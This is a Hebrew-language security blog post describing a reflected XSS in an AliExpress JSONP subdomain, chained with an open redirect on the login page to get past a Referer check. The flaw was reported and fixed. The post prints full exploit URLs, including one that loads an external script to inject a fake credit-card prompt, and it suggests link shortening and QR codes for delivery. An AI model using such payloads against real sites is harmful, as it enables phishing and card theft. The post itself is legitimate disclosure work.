ברוכים הבאים לאזור הבלוגים הטכנולוגיים של ITsafe



קריאה מהנה


הזרקת קוד AliExpress

בבלוג זה אציג לכם ממצא שמצאתי ביחד עם דקלה ברדה ב-AliExpress.

כידוע לכם AliExpress משתמש בקופונים כשיטה למשוך לקוחות חדשים ולשמור על לקוחות קיימים. כאשר אתם קונים באתר אתם מקבלים קופונים למימוש ואם אתם לקוחות חדשים אז אתם מקבלים קופון ללקוח חדש.

כמו כן, ניתן לראות בעת התשלום על המוצרים באתר, ש-AliExpress מציע לכם לשמור את פרטי האשראי שלכם ובנוסף מקנה לכם קופון במידה ותשמרו את פרטי האשראי שלכם במערכת ה-AliPay.

כך נראה אחד הקופונים ש-AliExpress מציע ללקוחות שישמרו את פרטי האשראי שלהם:
קופון של Aliexpress המציג 5$ הנחה
כך עלה בדעתנו לנסות לבחון את ההגנות של AliExpress ולנסות לאתר ליקויי אבטחה במערכת וכמובן לדווח להם בשביל שיוכלו לשמור על האתר שלהם מאובטח.

לסרטון הדגמה:


החלק הטכני

במהלך המחקר נוכחנו לגלות ש-AliExpress משתמש במספר רב של sub-domains מה שגרם לנו לשוטט מ-sub-domain אחד לאחר עד אשר מצאנו את ה-sub-domain הבא:
us.cobra.aliexpress.com
שמשתמש בפרמטר:
cb
ניתן לראות שהפרמטר משתקף בתשובה של ההודעה:
הפרמטר משתקף בתשובה להודעה
בנוסף להשתקפות של הפרמטר ניתן לראות שה-content-type של ההודעה שחוזר הינו text/html מה שיגרום לדפדפן לבצע את הקוד שלנו, אילו ה-content-type היה application/javascript הקוד לא היה מתבצע והXSS- לא היה עובד.

נקודה נוספת שברצוני לציין היא שההתנהגות "המוזרה" של יצירת פרמטר בשורת הכתובות שמשפיע על שם של פונקציה בתשובה של ההודעה, כפי ש-AliExpress עשו הינו בעצם חלק ממימוש ה-jsonp שלהם.

לגבי jsonp והשיטה ניתן לקרוא לעומק בספר שלי – "סייבר ובדיקות חוסן ליישומי אינטרנט"

כעת ניצור לינק ל-XSS וננסה להקפיץ את ההודעה alert(1) כך:
https://us.cobra.aliexpress.com/p4pforlist.html?pid=801_0000_0107&cb=>scrtip>alert(1)>/script>
העתקנו את הלינק לדפדפן ופתחתנו אותו, אך להפתעתנו דבר אינו קפץ ואף קיבלנו את התשובה הבאה:
התשובה להודעה הינה ()
נראה שמסיבה מסוימת לא התבצעה ההשתקפות, בחנו שוב את ההודעה הקודמת:
הפרמטר חוזר בתשובה להודעה
ונראה שבהודעה הזאת אכן אנו רואים השתקפות והכל עובד, השתמשנו ב-comparer של burp suit והשווינו בין החבילות.

השוני בין החבילות הוא הכותר referer, בחבילה עם הכותר referer יש תגובה מצד השרת ובחבילה ללא הכותר אין תגובה מצד השרת.

על ה-referer אני גם מסביר בספר – "סייבר ובדיקות חוסן ליישומי אינטרנט"

לאחר בדיקה נוספת של החבילות ובחינתן הגענו למסקנה ש-AliExpress משתמש בכותר referer על מנת לחסום התקפות XSS ובכך מוודא שהפניות הגיעו אך ורק מה-domain של AliExpress ולא הגיעו באופן ישיר עם פתיחת הדפדפן דרך שורת הכתובות.

יש לומר שזו הגנה מעניינת אך אינה מועילה במידה ויימצא open redirect אשר יבצע ניווט לדף הפגיע ויוסיף את הכותר בעצמו.

כך בעצם עברנו לאיתור open redirect, ולהפתעתנו ממש בטופס ההתחברות הראשי לאתר ישנו open redirect שמעביר את המשתמש לדף שמצוין תחת הפרמטר:
params
כך שכל שעלינו לעשות הוא לשרשר את ה-payload של ה-XSS לפרמטר params ולתת ל-AliExpress לבצע מעבר ישיר לתוך ה-payload שלנו ואף יותר מזה! במידה והמערכת זוכרת את שם המשתמש והסיסמא של המשתמש אתם מועברים באופן ישיר לדף עם ה-XSS ובמידה והמערכת אינה זוכרת אתם תעברו לדף אחרי שתזינו את שם משתמש והסיסמא ישירות מדף ה-login שלהם!

כך נראה ה-payload הסופי:
https://login.aliexpress.com/havana_login_check.htm?site=4&loginurl=https://us.cobra.aliexpress.com/p4pforlist.html?pid=801_0000_0107%26cb=3D%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E&**params =https://us.cobra.aliexpress.com/p4pforlist.html?pid=801_0000_0107%26**cb=%253Cscript%2Btype%253D%2527text%252Fjavascript%2527%2Bsrc%253D %2522https%253A%252F%252Fgmailtracker.com%252Fpoc.js%2522%253E%253C%252Fscript%253E****
כמובן שאם תוקף זדוני ירצה לנצל זאת הוא יקצר את הלינק למשהו כזה:

או אפילו ניתן ליצור QR Code:
QR code המכיל לינק זדוני
לחיצה על אחד הלינקים או לחילופין סריקת ה-QR code תגרום לקוד שלנו לרוץ וייפתח החלון הבא:
בקשה לפרטי אשראי שהוזרקה ל-aliexpress
יש לציין שדיווחנו לAliExpress- והם הגיבו באחריות ובמסירות ותיקנו את הממצא תוך ימים ספורים ואף הוסיפו את השמות שלנו להיכל התהילה שלהם:
דורגנו במקום 38 בדף החוקרים של aliexpress

Share this post